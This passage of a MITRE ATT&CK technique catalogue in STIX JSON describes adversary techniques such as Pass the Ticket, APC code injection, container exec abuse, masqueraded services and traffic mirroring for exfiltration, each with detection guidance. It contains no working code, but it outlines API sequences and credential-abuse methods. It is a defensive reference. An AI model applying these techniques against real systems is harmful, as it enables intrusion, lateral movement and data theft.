            "description": "\nAdversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552))\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\n\nUser access logging within Atlassian's Confluence can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "SaaS"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Logon Session: Logon Session Creation",
                "Application Log: Application Log Content"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926",
            "created": "2020-01-30T17:03:43.072Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1550/003",
                    "external_id": "T1550.003"
                },
                {
                    "source_name": "CERT-EU Golden Ticket Protection",
                    "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.",
                    "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf"
                },
                {
                    "source_name": "Campbell 2014",
                    "description": "Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved November 17, 2024.",
                    "url": "https://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf"
                },
                {
                    "source_name": "GentilKiwi Pass the Ticket",
                    "description": "Deply, B. (2014, January 13). Pass the ticket. Retrieved September 12, 2024.",
                    "url": "https://web.archive.org/web/20210515214027/https://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos"
                },
                {
                    "source_name": "ADSecurity AD Kerberos Attacks",
                    "description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.",
                    "url": "https://adsecurity.org/?p=556"
                },
                {
                    "source_name": "Stealthbits Overpass-the-Hash",
                    "description": "Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021.",
                    "url": "https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/"
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            "modified": "2025-04-15T19:58:43.927Z",
            "name": "Pass the Ticket",
            "description": "Adversaries may \u201cpass the ticket\u201d using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nWhen preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)\n\nA [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)\n\nA [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)\n\nAdversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, \"overpassing the hash\" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Vincent Le Toux",
                "Ryan Becwar"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\n\nEvent ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \"Integrity check on decrypted field failed\" and indicates misuse by a previously invalidated golden ticket.(Citation: CERT-EU Golden Ticket Protection)",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
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            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "User Account: User Account Authentication",
                "Logon Session: Logon Session Creation",
                "Active Directory: Active Directory Credential Request"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1",
            "created": "2021-03-29T16:39:26.183Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1609",
                    "external_id": "T1609"
                },
                {
                    "source_name": "Docker Exec",
                    "description": "Docker. (n.d.). Docker Exec. Retrieved March 29, 2021.",
                    "url": "https://docs.docker.com/engine/reference/commandline/exec/"
                },
                {
                    "source_name": "Docker Entrypoint",
                    "description": "Docker. (n.d.). Docker run reference. Retrieved March 29, 2021.",
                    "url": "https://docs.docker.com/engine/reference/run/#entrypoint-default-command-to-execute-at-runtime"
                },
                {
                    "source_name": "Docker Daemon CLI",
                    "description": "Docker. (n.d.). DockerD CLI. Retrieved March 29, 2021.",
                    "url": "https://docs.docker.com/engine/reference/commandline/dockerd/"
                },
                {
                    "source_name": "Kubectl Exec Get Shell",
                    "description": "The Kubernetes Authors. (n.d.). Get a Shell to a Running Container. Retrieved March 29, 2021.",
                    "url": "https://kubernetes.io/docs/tasks/debug-application-cluster/get-shell-running-container/"
                },
                {
                    "source_name": "Kubernetes Kubelet",
                    "description": "The Kubernetes Authors. (n.d.). Kubelet. Retrieved March 29, 2021.",
                    "url": "https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/"
                },
                {
                    "source_name": "Kubernetes API",
                    "description": "The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.",
                    "url": "https://kubernetes.io/docs/concepts/overview/kubernetes-api/"
                }
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            "modified": "2025-04-15T19:58:44.024Z",
            "name": "Container Administration Command",
            "description": "Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet)\n\nIn Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as <code>docker exec</code> to execute a command within a running container.(Citation: Docker Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as <code>kubectl exec</code>.(Citation: Kubectl Exec Get Shell)",
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                    "phase_name": "execution"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Alfredo Oliveira, Trend Micro",
                "David Fiser, @anu4is, Trend Micro",
                "Brad Geesaman, @bradgeesaman",
                "Center for Threat-Informed Defense (CTID)",
                "Magno Logan, @magnologan, Trend Micro",
                "Vishwas Manral, McAfee",
                "Yossi Weizman, Azure Defender Research Team"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Container administration service activities and executed commands can be captured through logging of process execution with command-line arguments on the container and the underlying host. In Docker, the daemon log provides insight into events at the daemon and container service level. Kubernetes system component logs may also detect activities running in and out of containers in the cluster. ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Containers"
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            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: Process Creation"
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        },
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            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "created": "2017-05-31T21:31:04.710Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1083",
                    "external_id": "T1083"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "US-CERT-TA18-106A",
                    "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
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            "modified": "2025-04-15T19:58:44.118Z",
            "name": "File and Directory Discovery",
            "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nMany command shell utilities can be used to obtain this information. Examples include <code>dir</code>, <code>tree</code>, <code>ls</code>, <code>find</code>, and <code>locate</code>.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather file and directory information (e.g. <code>dir</code>, <code>show flash</code>, and/or <code>nvram</code>).(Citation: US-CERT-TA18-106A)\n\nSome files and directories may require elevated or specific user permissions to access.",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Austin Clark, @c2defense"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather file and directory information with built-in features native to the network device platform.  Monitor CLI activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations.  ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network Devices",
                "ESXi"
            ],
            "x_mitre_version": "1.7",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: Process Creation",
                "Process: OS API Execution"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b",
            "created": "2020-03-10T17:28:11.747Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1568",
                    "external_id": "T1568"
                },
                {
                    "source_name": "Talos CCleanup 2017",
                    "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.",
                    "url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html"
                },
                {
                    "source_name": "FireEye POSHSPY April 2017",
                    "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"
                },
                {
                    "source_name": "ESET Sednit 2017 Activity",
                    "description": "ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.",
                    "url": "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/"
                },
                {
                    "source_name": "Data Driven Security DGA",
                    "description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.",
                    "url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/"
                }
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            "modified": "2025-04-25T15:15:46.359Z",
            "name": "Dynamic Resolution",
            "description": "Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.\n\nAdversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)",
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                    "phase_name": "command-and-control"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Chris Roffe"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Detecting dynamically generated C2 can be challenging due to the number of different algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There are multiple approaches to detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more (Citation: Data Driven Security DGA). CDN domains may trigger these detections due to the format of their domain names. In addition to detecting algorithm generated domains based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
                "Windows",
                "ESXi"
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
            "created": "2020-02-10T20:30:07.426Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1036/004",
                    "external_id": "T1036.004"
                },
                {
                    "source_name": "Fysbis Dr Web Analysis",
                    "description": "Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.",
                    "url": "https://vms.drweb.com/virus/?i=4276269"
                },
                {
                    "source_name": "Palo Alto Shamoon Nov 2016",
                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"
                },
                {
                    "source_name": "Systemd Service Units",
                    "description": "Freedesktop.org. (n.d.). systemd.service \u2014 Service unit configuration. Retrieved March 16, 2020.",
                    "url": "https://www.freedesktop.org/software/systemd/man/systemd.service.html"
                },
                {
                    "source_name": "TechNet Schtasks",
                    "description": "Microsoft. (n.d.). Schtasks. Retrieved April 28, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/bb490996.aspx"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T22:48:29.215Z",
            "name": "Masquerade Task or Service",
            "description": "Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.\n\nTasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Fysbis Dr Web Analysis)",
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                    "phase_name": "defense-evasion"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Look for changes to tasks and services that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks or services may show up as outlier processes that have not been seen before when compared against historical data. Monitor processes and command-line arguments for actions that could be taken to create tasks or services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "macOS"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Scheduled Job: Scheduled Job Modification",
                "Service: Service Creation",
                "Command: Command Execution",
                "Service: Service Metadata",
                "Scheduled Job: Scheduled Job Metadata"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605",
            "created": "2020-01-14T01:29:43.786Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1055/004",
                    "external_id": "T1055.004"
                },
                {
                    "source_name": "Microsoft APC",
                    "description": "Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December 8, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx"
                },
                {
                    "source_name": "CyberBit Early Bird Apr 2018",
                    "description": "Gavriel, H. & Erbesfeld, B. (2018, April 11). New \u2018Early Bird\u2019 Code Injection Technique Discovered. Retrieved May 24, 2018.",
                    "url": "https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/"
                },
                {
                    "source_name": "ENSIL AtomBombing Oct 2016",
                    "description": "Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE INJECTION FOR WINDOWS. Retrieved December 8, 2017.",
                    "url": "https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows"
                },
                {
                    "source_name": "Microsoft Atom Table",
                    "description": "Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx"
                },
                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                }
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            "name": "Asynchronous Procedure Call",
            "description": "Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process. \n\nAPC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as <code>OpenThread</code>. At this point <code>QueueUserAPC</code> can be used to invoke a function (such as <code>LoadLibrayA</code> pointing to a malicious DLL). \n\nA variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. ",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>, <code>QueueUserAPC</code>/<code>NtQueueApcThread</code>, and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Process: Process Access",
                "Process: Process Modification"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--7c46b364-8496-4234-8a56-f7e6727e21e1",
            "created": "2020-10-19T13:40:11.118Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1020/001",
                    "external_id": "T1020.001"
                },
                {
                    "source_name": "AWS Traffic Mirroring",
                    "description": "Amazon Web Services. (n.d.). How Traffic Mirroring works. Retrieved March 17, 2022.",
                    "url": "https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html"
                },
                {
                    "source_name": "Cisco Traffic Mirroring",
                    "description": "Cisco. (n.d.). Cisco IOS XR Interface and Hardware Component Configuration Guide for the Cisco CRS Router, Release 5.1.x. Retrieved October 19, 2020.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/routers/crs/software/crs_r5-1/interfaces/configuration/guide/hc51xcrsbook/hc51span.html"
                },
                {
                    "source_name": "GCP Packet Mirroring",
                    "description": "Google Cloud. (n.d.). Packet Mirroring overview. Retrieved March 17, 2022.",
                    "url": "https://cloud.google.com/vpc/docs/packet-mirroring"
                },
                {
                    "source_name": "Juniper Traffic Mirroring",
                    "description": "Juniper. (n.d.). Understanding Port Mirroring on EX2200, EX3200, EX3300, EX4200, EX4500, EX4550, EX6200, and EX8200 Series Switches. Retrieved October 19, 2020.",
                    "url": "https://www.juniper.net/documentation/en_US/junos/topics/concept/port-mirroring-ex-series.html"
                },
                {
                    "source_name": "Azure Virtual Network TAP",
                    "description": "Microsoft. (2022, February 9). Virtual network TAP. Retrieved March 17, 2022.",
                    "url": "https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview"
                },
                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
                },
                {
                    "source_name": "US-CERT-TA18-106A",
                    "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
                }
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            "modified": "2025-04-15T19:58:44.474Z",
            "name": "Traffic Duplication",
            "description": "Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised infrastructure. Traffic mirroring is a native feature for some devices, often used for network analysis. For example, devices may be configured to forward network traffic to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring)\n\nAdversaries may abuse traffic mirroring to mirror or redirect network traffic through other infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks)\n\nMany cloud-based environments also support traffic mirroring. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP)\n\nAdversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.",
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                {
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                    "phase_name": "exfiltration"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor network traffic for uncommon data flows (e.g. unusual network communications, suspicious communications that have never been seen before, communications sending fixed size data packets at regular intervals).  Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "IaaS"
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            "x_mitre_data_sources": [
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Flow"
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            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1138",
                    "external_id": "T1138"
                },
                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                },
                {
                    "source_name": "Black Hat 2015 App Shim",
                    "description": "Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.",
                    "url": "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf"
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            "name": "Application Shimming",
            "description": "The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* <code>%WINDIR%\\AppPatch\\sysmain.sdb</code>\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb</code>\n\nCustom databases are stored in:\n\n* <code>%WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom</code>\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom</code>\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to [Hooking](https://attack.mitre.org/techniques/T1179), utilizing these shims 